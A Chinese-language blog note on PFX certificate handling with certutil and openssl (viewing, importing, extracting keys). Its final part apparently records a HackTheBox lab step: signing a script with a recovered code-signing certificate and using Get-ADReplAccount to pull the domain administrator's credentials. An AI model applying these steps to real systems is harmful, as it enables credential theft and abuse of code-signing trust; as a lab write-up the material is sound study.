本文最后更新于59 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
处理pfx 文件
.key
文件专门用于存储私钥,是加密和解密操作的关键。.pem
文件是一种通用的存储格式,可以存储证书、私钥、公钥等多种加密数据。.crt
文件主要用于存储数字证书,用于身份验证和建立安全通信。
PFX(Personal Information Exchange)文件是一种包含私钥和证书的加密文件格式,常用于安全通信和数字签名等场景
安全通信
数字签名
windows
查看证书信息
certutil -dump -p “” file
导入证书到用户
certutil -user -p “” -importpfx file
-user
:表示导入到当前用户的证书存储区。-p [密码]
:指定 PFX 文件的密码。
linux
使用 openssl
工具查看 PFX 文件信息
openssl pkcs12 -info -in file -nodes
使用 openssl
工具提取私钥和证书
-nodes
表示不加密私钥
openssl pkcs12 -in pfxfile -out keyfile -nocerts -nodes -passin pass:[密码] 私钥
openssl pkcs12 -in pfxfile -out crtfile -nokeys -passin pass:[密码] 证书
查看 证书的信息
扩展字段中的 “Extended Key Usage”(EKU)部分,可以了解证书的具体用途
openssl x509 -in cert.pem -noout -text
例如数字签名
X509v3 Extended Key Usage: Code Signing
X509v3 Key Usage: critical Digital Signature
使用证书
$pass = ConvertTo-SecureString -String ‘abceasyas123’ -AsPlainText -Force
$cert = Import-PfxCertificate -FilePath ‘C:\programdata\$RLYS3KF.pfx’ -Password $pass -CertStoreLocation Cert:\CurrentUser\My
$cert
Set-AuthenticodeSignature .\Get-bADpasswords.ps1 $cert
certutil -user -p abceasyas123 -importpfx C:\pwn\signature.pfx NoChain,NoRoot
$all_certs = Get-ChildItem cert:\CurrentUser\My -CodeSigningCert
Set-AuthenticodeSignature .\Get-bADpasswords.ps1 -Certificate $all_certs[0]
timedatectl set-ntp false
sudo ntpdate windcorp
获取账户密码
Get-ADReplAccount -SamAccountName administrator -Server ‘hathor.windcorp.htb’